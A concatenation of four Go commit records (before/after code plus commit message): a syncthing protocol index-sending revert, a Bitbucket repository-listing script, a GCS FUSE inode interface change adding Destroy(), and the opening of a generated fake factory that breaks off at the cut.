<commit_before>package protocol

import (
	"bufio"
	"compress/flate"
	"errors"
	"fmt"
	"io"
	"sync"
	"time"

	"github.com/calmh/syncthing/xdr"
)

const BlockSize = 128 * 1024

const (
	messageTypeClusterConfig = 0
	messageTypeIndex         = 1
	messageTypeRequest       = 2
	messageTypeResponse      = 3
	messageTypePing          = 4
	messageTypePong          = 5
	messageTypeIndexUpdate   = 6
)

const (
	FlagDeleted    uint32 = 1 << 12
	FlagInvalid           = 1 << 13
	FlagDirectory         = 1 << 14
	FlagNoPermBits        = 1 << 15
)

const (
	FlagShareTrusted  uint32 = 1 << 0
	FlagShareReadOnly        = 1 << 1
	FlagShareBits            = 0x000000ff
)

var (
	ErrClusterHash = fmt.Errorf("configuration error: mismatched cluster hash")
	ErrClosed      = errors.New("connection closed")
)

type Model interface {
	// An index was received from the peer node
	Index(nodeID string, repo string, files []FileInfo)
	// An index update was received from the peer node
	IndexUpdate(nodeID string, repo string, files []FileInfo)
	// A request was made by the peer node
	Request(nodeID string, repo string, name string, offset int64, size int) ([]byte, error)
	// A cluster configuration message was received
	ClusterConfig(nodeID string, config ClusterConfigMessage)
	// The peer node closed the connection
	Close(nodeID string, err error)
}

type Connection interface {
	ID() string
	Index(repo string, files []FileInfo)
	Request(repo string, name string, offset int64, size int) ([]byte, error)
	ClusterConfig(config ClusterConfigMessage)
	Statistics() Statistics
}

type rawConnection struct {
	id       string
	receiver Model

	reader io.ReadCloser
	cr     *countingReader
	xr     *xdr.Reader
	writer io.WriteCloser

	cw   *countingWriter
	wb   *bufio.Writer
	xw   *xdr.Writer
	wmut sync.Mutex

	indexSent map[string]uint64
	awaiting  []chan asyncResult
	imut      sync.Mutex

	nextID chan int
	outbox chan []encodable
	closed chan struct{}
}

type asyncResult struct {
	val []byte
	err error
}

const (
	pingTimeout  = 4 * time.Minute
	pingIdleTime = 5 * time.Minute
)

func NewConnection(nodeID string, reader io.Reader, writer io.Writer, receiver Model) Connection {
	cr := &countingReader{Reader: reader}
	cw := &countingWriter{Writer: writer}

	flrd := flate.NewReader(cr)
	flwr, err := flate.NewWriter(cw, flate.BestSpeed)
	if err != nil {
		panic(err)
	}
	wb := bufio.NewWriter(flwr)

	c := rawConnection{
		id:        nodeID,
		receiver:  nativeModel{receiver},
		reader:    flrd,
		cr:        cr,
		xr:        xdr.NewReader(flrd),
		writer:    flwr,
		cw:        cw,
		wb:        wb,
		xw:        xdr.NewWriter(wb),
		indexSent: make(map[string]uint64),
		awaiting:  make([]chan asyncResult, 0x1000),
		outbox:    make(chan []encodable),
		nextID:    make(chan int),
		closed:    make(chan struct{}),
	}

	go c.readerLoop()
	go c.writerLoop()
	go c.pingerLoop()
	go c.idGenerator()

	return wireFormatConnection{&c}
}

func (c *rawConnection) ID() string {
	return c.id
}

// Index writes the list of file information to the connected peer node
func (c *rawConnection) Index(repo string, idx []FileInfo) {
	c.imut.Lock()
	var msgType int
	maxSent := c.indexSent[repo]
	var newMaxSent uint64
	if maxSent == 0 {
		// This is the first time we send an index.
		msgType = messageTypeIndex
		for _, f := range idx {
			if f.Version > newMaxSent {
				newMaxSent = f.Version
			}
		}
	} else {
		// We have sent one full index. Only send updates now.
		msgType = messageTypeIndexUpdate
		var diff []FileInfo
		for _, f := range idx {
			if f.Version > maxSent {
				diff = append(diff, f)
				newMaxSent = f.Version
			}
		}
		idx = diff
	}
	c.indexSent[repo] = newMaxSent
	c.imut.Unlock()

	c.send(header{0, -1, msgType}, IndexMessage{repo, idx})
}

// Request returns the bytes for the specified block after fetching them from the connected peer.
func (c *rawConnection) Request(repo string, name string, offset int64, size int) ([]byte, error) {
	var id int
	select {
	case id = <-c.nextID:
	case <-c.closed:
		return nil, ErrClosed
	}

	c.imut.Lock()
	if ch := c.awaiting[id]; ch != nil {
		panic("id taken")
	}
	rc := make(chan asyncResult)
	c.awaiting[id] = rc
	c.imut.Unlock()

	ok := c.send(header{0, id, messageTypeRequest},
		RequestMessage{repo, name, uint64(offset), uint32(size)})
	if !ok {
		return nil, ErrClosed
	}

	res, ok := <-rc
	if !ok {
		return nil, ErrClosed
	}
	return res.val, res.err
}

// ClusterConfig send the cluster configuration message to the peer and returns any error
func (c *rawConnection) ClusterConfig(config ClusterConfigMessage) {
	c.send(header{0, -1, messageTypeClusterConfig}, config)
}

func (c *rawConnection) ping() bool {
	var id int
	select {
	case id = <-c.nextID:
	case <-c.closed:
		return false
	}

	rc := make(chan asyncResult, 1)
	c.imut.Lock()
	c.awaiting[id] = rc
	c.imut.Unlock()

	ok := c.send(header{0, id, messageTypePing})
	if !ok {
		return false
	}

	res, ok := <-rc
	return ok && res.err == nil
}

func (c *rawConnection) readerLoop() (err error) {
	defer func() {
		c.close(err)
	}()

	for {
		select {
		case <-c.closed:
			return ErrClosed
		default:
		}

		var hdr header
		hdr.decodeXDR(c.xr)
		if err := c.xr.Error(); err != nil {
			return err
		}
		if hdr.version != 0 {
			return fmt.Errorf("protocol error: %s: unknown message version %#x", c.id, hdr.version)
		}

		switch hdr.msgType {
		case messageTypeIndex:
			if err := c.handleIndex(); err != nil {
				return err
			}

		case messageTypeIndexUpdate:
			if err := c.handleIndexUpdate(); err != nil {
				return err
			}

		case messageTypeRequest:
			if err := c.handleRequest(hdr); err != nil {
				return err
			}

		case messageTypeResponse:
			if err := c.handleResponse(hdr); err != nil {
				return err
			}

		case messageTypePing:
			c.send(header{0, hdr.msgID, messageTypePong})

		case messageTypePong:
			c.handlePong(hdr)

		case messageTypeClusterConfig:
			if err := c.handleClusterConfig(); err != nil {
				return err
			}

		default:
			return fmt.Errorf("protocol error: %s: unknown message type %#x", c.id, hdr.msgType)
		}
	}
}

func (c *rawConnection) handleIndex() error {
	var im IndexMessage
	im.decodeXDR(c.xr)
	if err := c.xr.Error(); err != nil {
		return err
	} else {

		// We run this (and the corresponding one for update, below)
		// in a separate goroutine to avoid blocking the read loop.
		// There is otherwise a potential deadlock where both sides
		// has the model locked because it's sending a large index
		// update and can't receive the large index update from the
		// other side.

		go c.receiver.Index(c.id, im.Repository, im.Files)
	}
	return nil
}

func (c *rawConnection) handleIndexUpdate() error {
	var im IndexMessage
	im.decodeXDR(c.xr)
	if err := c.xr.Error(); err != nil {
		return err
	} else {
		go c.receiver.IndexUpdate(c.id, im.Repository, im.Files)
	}
	return nil
}

func (c *rawConnection) handleRequest(hdr header) error {
	var req RequestMessage
	req.decodeXDR(c.xr)
	if err := c.xr.Error(); err != nil {
		return err
	}
	go c.processRequest(hdr.msgID, req)
	return nil
}

func (c *rawConnection) handleResponse(hdr header) error {
	data := c.xr.ReadBytesMax(256 * 1024) // Sufficiently larger than max expected block size

	if err := c.xr.Error(); err != nil {
		return err
	}

	go func(hdr header, err error) {
		c.imut.Lock()
		rc := c.awaiting[hdr.msgID]
		c.awaiting[hdr.msgID] = nil
		c.imut.Unlock()

		if rc != nil {
			rc <- asyncResult{data, err}
			close(rc)
		}
	}(hdr, c.xr.Error())

	return nil
}

func (c *rawConnection) handlePong(hdr header) {
	c.imut.Lock()
	if rc := c.awaiting[hdr.msgID]; rc != nil {
		go func() {
			rc <- asyncResult{}
			close(rc)
		}()

		c.awaiting[hdr.msgID] = nil
	}
	c.imut.Unlock()
}

func (c *rawConnection) handleClusterConfig() error {
	var cm ClusterConfigMessage
	cm.decodeXDR(c.xr)
	if err := c.xr.Error(); err != nil {
		return err
	} else {
		go c.receiver.ClusterConfig(c.id, cm)
	}
	return nil
}

type encodable interface {
	encodeXDR(*xdr.Writer) (int, error)
}
type encodableBytes []byte

func (e encodableBytes) encodeXDR(xw *xdr.Writer) (int, error) {
	return xw.WriteBytes(e)
}

func (c *rawConnection) send(h header, es ...encodable) bool {
	if h.msgID < 0 {
		select {
		case id := <-c.nextID:
			h.msgID = id
		case <-c.closed:
			return false
		}
	}
	msg := append([]encodable{h}, es...)

	select {
	case c.outbox <- msg:
		return true
	case <-c.closed:
		return false
	}
}

func (c *rawConnection) writerLoop() {
	var err error
	for es := range c.outbox {
		c.wmut.Lock()
		for _, e := range es {
			e.encodeXDR(c.xw)
		}

		if err = c.flush(); err != nil {
			c.wmut.Unlock()
			c.close(err)
			return
		}
		c.wmut.Unlock()
	}
}

type flusher interface {
	Flush() error
}

func (c *rawConnection) flush() error {
	if err := c.xw.Error(); err != nil {
		return err
	}

	if err := c.wb.Flush(); err != nil {
		return err
	}

	if f, ok := c.writer.(flusher); ok {
		return f.Flush()
	}

	return nil
}

func (c *rawConnection) close(err error) {
	c.imut.Lock()
	c.wmut.Lock()
	defer c.imut.Unlock()
	defer c.wmut.Unlock()

	select {
	case <-c.closed:
		return
	default:
		close(c.closed)

		for i, ch := range c.awaiting {
			if ch != nil {
				close(ch)
				c.awaiting[i] = nil
			}
		}

		c.writer.Close()
		c.reader.Close()

		go c.receiver.Close(c.id, err)
	}
}

func (c *rawConnection) idGenerator() {
	nextID := 0
	for {
		nextID = (nextID + 1) & 0xfff
		select {
		case c.nextID <- nextID:
		case <-c.closed:
			return
		}
	}
}

func (c *rawConnection) pingerLoop() {
	var rc = make(chan bool, 1)
	ticker := time.Tick(pingIdleTime / 2)
	for {
		select {
		case <-ticker:
			go func() {
				rc <- c.ping()
			}()
			select {
			case ok := <-rc:
				if !ok {
					c.close(fmt.Errorf("ping failure"))
				}
			case <-time.After(pingTimeout):
				c.close(fmt.Errorf("ping timeout"))
			case <-c.closed:
				return
			}

		case <-c.closed:
			return
		}
	}
}

func (c *rawConnection) processRequest(msgID int, req RequestMessage) {
	data, _ := c.receiver.Request(c.id, req.Repository, req.Name, int64(req.Offset), int(req.Size))

	c.send(header{0, msgID, messageTypeResponse},
		encodableBytes(data))
}

type Statistics struct {
	At            time.Time
	InBytesTotal  int
	OutBytesTotal int
}

func (c *rawConnection) Statistics() Statistics {
	return Statistics{
		At:            time.Now(),
		InBytesTotal:  int(c.cr.Tot()),
		OutBytesTotal: int(c.cw.Tot()),
	}
}

func IsDeleted(bits uint32) bool {
	return bits&FlagDeleted != 0
}

func IsInvalid(bits uint32) bool {
	return bits&FlagInvalid != 0
}

func IsDirectory(bits uint32) bool {
	return bits&FlagDirectory != 0
}

func HasPermissionBits(bits uint32) bool {
	return bits&FlagNoPermBits == 0
}
<commit_msg>Revert "More memory efficient index sending"<commit_after>package protocol

import (
	"bufio"
	"compress/flate"
	"errors"
	"fmt"
	"io"
	"sync"
	"time"

	"github.com/calmh/syncthing/xdr"
)

const BlockSize = 128 * 1024

const (
	messageTypeClusterConfig = 0
	messageTypeIndex         = 1
	messageTypeRequest       = 2
	messageTypeResponse      = 3
	messageTypePing          = 4
	messageTypePong          = 5
	messageTypeIndexUpdate   = 6
)

const (
	FlagDeleted    uint32 = 1 << 12
	FlagInvalid           = 1 << 13
	FlagDirectory         = 1 << 14
	FlagNoPermBits        = 1 << 15
)

const (
	FlagShareTrusted  uint32 = 1 << 0
	FlagShareReadOnly        = 1 << 1
	FlagShareBits            = 0x000000ff
)

var (
	ErrClusterHash = fmt.Errorf("configuration error: mismatched cluster hash")
	ErrClosed      = errors.New("connection closed")
)

type Model interface {
	// An index was received from the peer node
	Index(nodeID string, repo string, files []FileInfo)
	// An index update was received from the peer node
	IndexUpdate(nodeID string, repo string, files []FileInfo)
	// A request was made by the peer node
	Request(nodeID string, repo string, name string, offset int64, size int) ([]byte, error)
	// A cluster configuration message was received
	ClusterConfig(nodeID string, config ClusterConfigMessage)
	// The peer node closed the connection
	Close(nodeID string, err error)
}

type Connection interface {
	ID() string
	Index(repo string, files []FileInfo)
	Request(repo string, name string, offset int64, size int) ([]byte, error)
	ClusterConfig(config ClusterConfigMessage)
	Statistics() Statistics
}

type rawConnection struct {
	id       string
	receiver Model

	reader io.ReadCloser
	cr     *countingReader
	xr     *xdr.Reader
	writer io.WriteCloser

	cw   *countingWriter
	wb   *bufio.Writer
	xw   *xdr.Writer
	wmut sync.Mutex

	indexSent map[string]map[string][2]int64
	awaiting  []chan asyncResult
	imut      sync.Mutex

	nextID chan int
	outbox chan []encodable
	closed chan struct{}
}

type asyncResult struct {
	val []byte
	err error
}

const (
	pingTimeout  = 4 * time.Minute
	pingIdleTime = 5 * time.Minute
)

func NewConnection(nodeID string, reader io.Reader, writer io.Writer, receiver Model) Connection {
	cr := &countingReader{Reader: reader}
	cw := &countingWriter{Writer: writer}

	flrd := flate.NewReader(cr)
	flwr, err := flate.NewWriter(cw, flate.BestSpeed)
	if err != nil {
		panic(err)
	}
	wb := bufio.NewWriter(flwr)

	c := rawConnection{
		id:        nodeID,
		receiver:  nativeModel{receiver},
		reader:    flrd,
		cr:        cr,
		xr:        xdr.NewReader(flrd),
		writer:    flwr,
		cw:        cw,
		wb:        wb,
		xw:        xdr.NewWriter(wb),
		awaiting:  make([]chan asyncResult, 0x1000),
		indexSent: make(map[string]map[string][2]int64),
		outbox:    make(chan []encodable),
		nextID:    make(chan int),
		closed:    make(chan struct{}),
	}

	go c.readerLoop()
	go c.writerLoop()
	go c.pingerLoop()
	go c.idGenerator()

	return wireFormatConnection{&c}
}

func (c *rawConnection) ID() string {
	return c.id
}

// Index writes the list of file information to the connected peer node
func (c *rawConnection) Index(repo string, idx []FileInfo) {
	c.imut.Lock()
	var msgType int
	if c.indexSent[repo] == nil {
		// This is the first time we send an index.
		msgType = messageTypeIndex

		c.indexSent[repo] = make(map[string][2]int64)
		for _, f := range idx {
			c.indexSent[repo][f.Name] = [2]int64{f.Modified, int64(f.Version)}
		}
	} else {
		// We have sent one full index. Only send updates now.
		msgType = messageTypeIndexUpdate
		var diff []FileInfo
		for _, f := range idx {
			if vs, ok := c.indexSent[repo][f.Name]; !ok || f.Modified != vs[0] || int64(f.Version) != vs[1] {
				diff = append(diff, f)
				c.indexSent[repo][f.Name] = [2]int64{f.Modified, int64(f.Version)}
			}
		}
		idx = diff
	}
	c.imut.Unlock()

	c.send(header{0, -1, msgType}, IndexMessage{repo, idx})
}

// Request returns the bytes for the specified block after fetching them from the connected peer.
func (c *rawConnection) Request(repo string, name string, offset int64, size int) ([]byte, error) {
	var id int
	select {
	case id = <-c.nextID:
	case <-c.closed:
		return nil, ErrClosed
	}

	c.imut.Lock()
	if ch := c.awaiting[id]; ch != nil {
		panic("id taken")
	}
	rc := make(chan asyncResult)
	c.awaiting[id] = rc
	c.imut.Unlock()

	ok := c.send(header{0, id, messageTypeRequest},
		RequestMessage{repo, name, uint64(offset), uint32(size)})
	if !ok {
		return nil, ErrClosed
	}

	res, ok := <-rc
	if !ok {
		return nil, ErrClosed
	}
	return res.val, res.err
}

// ClusterConfig send the cluster configuration message to the peer and returns any error
func (c *rawConnection) ClusterConfig(config ClusterConfigMessage) {
	c.send(header{0, -1, messageTypeClusterConfig}, config)
}

func (c *rawConnection) ping() bool {
	var id int
	select {
	case id = <-c.nextID:
	case <-c.closed:
		return false
	}

	rc := make(chan asyncResult, 1)
	c.imut.Lock()
	c.awaiting[id] = rc
	c.imut.Unlock()

	ok := c.send(header{0, id, messageTypePing})
	if !ok {
		return false
	}

	res, ok := <-rc
	return ok && res.err == nil
}

func (c *rawConnection) readerLoop() (err error) {
	defer func() {
		c.close(err)
	}()

	for {
		select {
		case <-c.closed:
			return ErrClosed
		default:
		}

		var hdr header
		hdr.decodeXDR(c.xr)
		if err := c.xr.Error(); err != nil {
			return err
		}
		if hdr.version != 0 {
			return fmt.Errorf("protocol error: %s: unknown message version %#x", c.id, hdr.version)
		}

		switch hdr.msgType {
		case messageTypeIndex:
			if err := c.handleIndex(); err != nil {
				return err
			}

		case messageTypeIndexUpdate:
			if err := c.handleIndexUpdate(); err != nil {
				return err
			}

		case messageTypeRequest:
			if err := c.handleRequest(hdr); err != nil {
				return err
			}

		case messageTypeResponse:
			if err := c.handleResponse(hdr); err != nil {
				return err
			}

		case messageTypePing:
			c.send(header{0, hdr.msgID, messageTypePong})

		case messageTypePong:
			c.handlePong(hdr)

		case messageTypeClusterConfig:
			if err := c.handleClusterConfig(); err != nil {
				return err
			}

		default:
			return fmt.Errorf("protocol error: %s: unknown message type %#x", c.id, hdr.msgType)
		}
	}
}

func (c *rawConnection) handleIndex() error {
	var im IndexMessage
	im.decodeXDR(c.xr)
	if err := c.xr.Error(); err != nil {
		return err
	} else {

		// We run this (and the corresponding one for update, below)
		// in a separate goroutine to avoid blocking the read loop.
		// There is otherwise a potential deadlock where both sides
		// has the model locked because it's sending a large index
		// update and can't receive the large index update from the
		// other side.

		go c.receiver.Index(c.id, im.Repository, im.Files)
	}
	return nil
}

func (c *rawConnection) handleIndexUpdate() error {
	var im IndexMessage
	im.decodeXDR(c.xr)
	if err := c.xr.Error(); err != nil {
		return err
	} else {
		go c.receiver.IndexUpdate(c.id, im.Repository, im.Files)
	}
	return nil
}

func (c *rawConnection) handleRequest(hdr header) error {
	var req RequestMessage
	req.decodeXDR(c.xr)
	if err := c.xr.Error(); err != nil {
		return err
	}
	go c.processRequest(hdr.msgID, req)
	return nil
}

func (c *rawConnection) handleResponse(hdr header) error {
	data := c.xr.ReadBytesMax(256 * 1024) // Sufficiently larger than max expected block size

	if err := c.xr.Error(); err != nil {
		return err
	}

	go func(hdr header, err error) {
		c.imut.Lock()
		rc := c.awaiting[hdr.msgID]
		c.awaiting[hdr.msgID] = nil
		c.imut.Unlock()

		if rc != nil {
			rc <- asyncResult{data, err}
			close(rc)
		}
	}(hdr, c.xr.Error())

	return nil
}

func (c *rawConnection) handlePong(hdr header) {
	c.imut.Lock()
	if rc := c.awaiting[hdr.msgID]; rc != nil {
		go func() {
			rc <- asyncResult{}
			close(rc)
		}()

		c.awaiting[hdr.msgID] = nil
	}
	c.imut.Unlock()
}

func (c *rawConnection) handleClusterConfig() error {
	var cm ClusterConfigMessage
	cm.decodeXDR(c.xr)
	if err := c.xr.Error(); err != nil {
		return err
	} else {
		go c.receiver.ClusterConfig(c.id, cm)
	}
	return nil
}

type encodable interface {
	encodeXDR(*xdr.Writer) (int, error)
}
type encodableBytes []byte

func (e encodableBytes) encodeXDR(xw *xdr.Writer) (int, error) {
	return xw.WriteBytes(e)
}

func (c *rawConnection) send(h header, es ...encodable) bool {
	if h.msgID < 0 {
		select {
		case id := <-c.nextID:
			h.msgID = id
		case <-c.closed:
			return false
		}
	}
	msg := append([]encodable{h}, es...)

	select {
	case c.outbox <- msg:
		return true
	case <-c.closed:
		return false
	}
}

func (c *rawConnection) writerLoop() {
	var err error
	for es := range c.outbox {
		c.wmut.Lock()
		for _, e := range es {
			e.encodeXDR(c.xw)
		}

		if err = c.flush(); err != nil {
			c.wmut.Unlock()
			c.close(err)
			return
		}
		c.wmut.Unlock()
	}
}

type flusher interface {
	Flush() error
}

func (c *rawConnection) flush() error {
	if err := c.xw.Error(); err != nil {
		return err
	}

	if err := c.wb.Flush(); err != nil {
		return err
	}

	if f, ok := c.writer.(flusher); ok {
		return f.Flush()
	}

	return nil
}

func (c *rawConnection) close(err error) {
	c.imut.Lock()
	c.wmut.Lock()
	defer c.imut.Unlock()
	defer c.wmut.Unlock()

	select {
	case <-c.closed:
		return
	default:
		close(c.closed)

		for i, ch := range c.awaiting {
			if ch != nil {
				close(ch)
				c.awaiting[i] = nil
			}
		}

		c.writer.Close()
		c.reader.Close()

		go c.receiver.Close(c.id, err)
	}
}

func (c *rawConnection) idGenerator() {
	nextID := 0
	for {
		nextID = (nextID + 1) & 0xfff
		select {
		case c.nextID <- nextID:
		case <-c.closed:
			return
		}
	}
}

func (c *rawConnection) pingerLoop() {
	var rc = make(chan bool, 1)
	ticker := time.Tick(pingIdleTime / 2)
	for {
		select {
		case <-ticker:
			go func() {
				rc <- c.ping()
			}()
			select {
			case ok := <-rc:
				if !ok {
					c.close(fmt.Errorf("ping failure"))
				}
			case <-time.After(pingTimeout):
				c.close(fmt.Errorf("ping timeout"))
			case <-c.closed:
				return
			}

		case <-c.closed:
			return
		}
	}
}

func (c *rawConnection) processRequest(msgID int, req RequestMessage) {
	data, _ := c.receiver.Request(c.id, req.Repository, req.Name, int64(req.Offset), int(req.Size))

	c.send(header{0, msgID, messageTypeResponse},
		encodableBytes(data))
}

type Statistics struct {
	At            time.Time
	InBytesTotal  int
	OutBytesTotal int
}

func (c *rawConnection) Statistics() Statistics {
	return Statistics{
		At:            time.Now(),
		InBytesTotal:  int(c.cr.Tot()),
		OutBytesTotal: int(c.cw.Tot()),
	}
}

func IsDeleted(bits uint32) bool {
	return bits&FlagDeleted != 0
}

func IsInvalid(bits uint32) bool {
	return bits&FlagInvalid != 0
}

func IsDirectory(bits uint32) bool {
	return bits&FlagDirectory != 0
}

func HasPermissionBits(bits uint32) bool {
	return bits&FlagNoPermBits == 0
}
<|endoftext|>


<commit_before>package main

import (
	"encoding/json"
	"fmt"
	//	"os"
	"github.com/tzaffi/go-bitbucket"
	"golang.org/x/crypto/ssh/terminal"
	"reflect"
	"sort"
	"syscall"
)

func getMyRepos(client *bitbucket.Client, owner string, team string, options ...string) interface{} {
	opt := &bitbucket.RepositoriesOptions{
		Owner: owner,
		Team:  team,
	}
	/*
	if options != nil {
		fmt.Println("something:")
	} else {
		fmt.Println("nada:")
	}
  */
	fmt.Printf("options = %v\tTtype = %T\n", options, options)
	getAllPages := options != nil && options[0] == "ALL_PAGES"
	fmt.Println("getting all pages ?", getAllPages)
	var pages []uint;
	if(!getAllPages) {
		pages = []uint{1}
	} else {
		pages = []uint{1, 11}
	}

	res := client.Repositories.ListForTeam(opt, pages...)

	return res

	//res := c.Repositories.ListForAccount(opt)
	//var result interface{}
	//return result
}

func getPretty(res *interface{}) string {
	resJson, _ := json.MarshalIndent(res, "", "  ")
	return string(resJson)
}

func printPretty(res *interface{}) {
	fmt.Println(getPretty(res))
}

func reflectionLength(res *interface{}) int {
	resVal := *res
	fmt.Printf("reflect.TypeOf(resVal) = %v\nreflect.TypeOf(resVal).Kind() = %v\n",
		reflect.TypeOf(resVal), reflect.TypeOf(resVal).Kind())
	switch reflect.TypeOf(resVal).Kind() {
	case reflect.Slice:
		s := reflect.ValueOf(resVal)
		return s.Len()
	default:
		return -1
	}
}

// cf. https://blog.golang.org/json-and-go#TOC_5.
func reflectionParse(res *interface{}) {
	resVal := *res
	switch t0 := resVal.(type) {
	case []interface{}:
		fmt.Println("array")
	case map[string]interface{}:
		fmt.Println("map")
	default:
		fmt.Printf("Surprise, surprise. Is %v\n", t0)
	}
}

//find all values that have the given key and a string value
func filterByKey(res *interface{}, key string) []string {
  var result []string
	resVal := *res
	switch t0 := resVal.(type) {
	case []interface{}:
		for _, v := range resVal.([]interface{}) {
			result = append(result, filterByKey(&v, key)...)
		}
	case map[string]interface{}:
		for k, v := range resVal.(map[string]interface{}) {
			if k == key && reflect.TypeOf(v).Kind() == reflect.String {
				result = append(result, v.(string))
			} else {
				result = append(result, filterByKey(&v, key)...)
			}
		}
	default:
		fmt.Printf("Surprise, surprise. %v is type %T\n", t0, t0)
		return result
	}
	return result
}

func main() {
	var username string
	fmt.Print("Bitbucket Email: ")
	fmt.Scanln(&username)

	fmt.Print("Bitbucket Password: ")
	bytePassword, _ := terminal.ReadPassword(int(syscall.Stdin))
	password := string(bytePassword)
	fmt.Print("Thanks [" + username + "] !!!!\n")

	c := bitbucket.NewBasicAuth(username, password)
	res := getMyRepos(c, "edlabtc", "edlabtc", "ALL_PAGES")
	fmt.Println("reflectionLength(&res) == ", reflectionLength(&res))
	fmt.Println("len(getPretty(&res)) == ", len(getPretty(&res)))
	reflectionParse(&res)
	repos := filterByKey(&res, "full_name")
	sort.Strings(repos)
	reposM, _ := json.MarshalIndent(repos, "", " ")
	fmt.Println("repos:", string(reposM))

	//printPretty(&res)
}
<commit_msg>getting ready for snippets<commit_after>package main

import (
	"encoding/json"
	"fmt"
	//	"os"
	"github.com/tzaffi/go-bitbucket"
	"golang.org/x/crypto/ssh/terminal"
	"reflect"
	"sort"
	"syscall"
)

func getMyRepos(client *bitbucket.Client, owner string, team string, options ...string) interface{} {
	opt := &bitbucket.RepositoriesOptions{
		Owner: owner,
		Team:  team,
	}
	/*
	if options != nil {
		fmt.Println("something:")
	} else {
		fmt.Println("nada:")
	}
  */
	fmt.Printf("options = %v\tTtype = %T\n", options, options)
	getAllPages := options != nil && options[0] == "ALL_PAGES"
	fmt.Println("getting all pages ?", getAllPages)
	var pages []uint;
	if(!getAllPages) {
		pages = []uint{1}
	} else {
		pages = []uint{1, 11}
	}

	res := client.Repositories.ListForTeam(opt, pages...)

	return res

	//res := c.Repositories.ListForAccount(opt)
	//var result interface{}
	//return result
}

func getPretty(res *interface{}) string {
	resJson, _ := json.MarshalIndent(res, "", "  ")
	return string(resJson)
}

func printPretty(res *interface{}) {
	fmt.Println(getPretty(res))
}

func reflectionLength(res *interface{}) int {
	resVal := *res
	fmt.Printf("reflect.TypeOf(resVal) = %v\nreflect.TypeOf(resVal).Kind() = %v\n",
		reflect.TypeOf(resVal), reflect.TypeOf(resVal).Kind())
	switch reflect.TypeOf(resVal).Kind() {
	case reflect.Slice:
		s := reflect.ValueOf(resVal)
		return s.Len()
	default:
		return -1
	}
}

// cf. https://blog.golang.org/json-and-go#TOC_5.
func reflectionParse(res *interface{}) {
	resVal := *res
	switch t0 := resVal.(type) {
	case []interface{}:
		fmt.Println("array")
	case map[string]interface{}:
		fmt.Println("map")
	default:
		fmt.Printf("Surprise, surprise. Is %v\n", t0)
	}
}

//find all values that have the given key and a string value
func filterByKey(res *interface{}, key string) []string {
  var result []string
	resVal := *res
	switch t0 := resVal.(type) {
	case []interface{}:
		for _, v := range resVal.([]interface{}) {
			result = append(result, filterByKey(&v, key)...)
		}
	case map[string]interface{}:
		for k, v := range resVal.(map[string]interface{}) {
			if k == key && reflect.TypeOf(v).Kind() == reflect.String {
				result = append(result, v.(string))
			} else {
				result = append(result, filterByKey(&v, key)...)
			}
		}
	default:
		fmt.Printf("Surprise, surprise. %v is type %T\n", t0, t0)
		return result
	}
	return result
}

func main() {
	var username string
	fmt.Print("Bitbucket Email: ")
	fmt.Scanln(&username)

	fmt.Print("Bitbucket Password: ")
	bytePassword, _ := terminal.ReadPassword(int(syscall.Stdin))
	password := string(bytePassword)
	fmt.Print("Thanks [" + username + "] !!!!\n")

	c := bitbucket.NewBasicAuth(username, password)
	res := getMyRepos(c, "edlabtc", "edlabtc", "ALL_PAGES")
	fmt.Println("reflectionLength(&res) == ", reflectionLength(&res))
	fmt.Println("len(getPretty(&res)) == ", len(getPretty(&res)))
	reflectionParse(&res)
	repos := filterByKey(&res, "full_name")
	sort.Strings(repos)
	reposM, _ := json.MarshalIndent(repos, "", " ")
	fmt.Println("repos:", string(reposM))
	//printPretty(&res)
}
<|endoftext|>


<commit_before>// Copyright 2015 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package inode

import (
	"sync"

	"github.com/jacobsa/fuse/fuseops"
	"golang.org/x/net/context"
)

type Inode interface {
	// All methods below require the lock to be held unless otherwise documented.
	sync.Locker

	// Return the ID assigned to the inode.
	//
	// Does not require the lock to be held.
	ID() fuseops.InodeID

	// Return the name of the GCS object backing the inode. This may be "foo/bar"
	// for a file, or "foo/bar/" for a directory.
	//
	// Does not require the lock to be held.
	Name() string

	// Increment the lookup count for the inode. For use in fuse operations where
	// the kernel expects us to remember the inode.
	IncrementLookupCount()

	// Decrement the lookup count for the inode by the given amount. If this
	// method returns true, the lookup count has hit zero and the inode has been
	// destroyed. The inode must not be used further.
	DecrementLookupCount(n uint64) (destroyed bool)

	// Return up to date attributes for this inode.
	Attributes(ctx context.Context) (fuseops.InodeAttributes, error)
}
<commit_msg>Updated the inode interface.<commit_after>// Copyright 2015 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package inode

import (
	"sync"

	"github.com/jacobsa/fuse/fuseops"
	"golang.org/x/net/context"
)

type Inode interface {
	// All methods below require the lock to be held unless otherwise documented.
	sync.Locker

	// Return the ID assigned to the inode.
	//
	// Does not require the lock to be held.
	ID() fuseops.InodeID

	// Return the name of the GCS object backing the inode. This may be "foo/bar"
	// for a file, or "foo/bar/" for a directory.
	//
	// Does not require the lock to be held.
	Name() string

	// Increment the lookup count for the inode. For use in fuse operations where
	// the kernel expects us to remember the inode.
	IncrementLookupCount()

	// Decrement the lookup count for the inode by the given amount.
	//
	// If this method returns true, the lookup count has hit zero and the
	// Destroy() method should be called to release any local resources, perhaps
	// after releasing locks that should not be held while blocking.
	DecrementLookupCount(n uint64) (destroy bool)

	// Clean up any local resources used by the inode, putting it into an
	// indeterminate state. Errors are for logging purposes only.
	Destroy() (err error)

	// Return up to date attributes for this inode.
	Attributes(ctx context.Context) (fuseops.InodeAttributes, error)
}
<|endoftext|>


<commit_before>// This file was generated by counterfeiter
package originfakes

import (
	"sync"

	"github.com/dpb587/metalink/origin"
)

type FakeOriginFactory struct {
	NewStub        func(string) (origin.Origin, error)
	newMutex       sync.RWMutex
	newArgsForCall []struct {
		arg1 string
	}
	newReturns struct {
		result1 origin.Origin
		result2 error
	}
	invocations      map[string][][]interface{}
	invocationsMutex sync.RWMutex
}

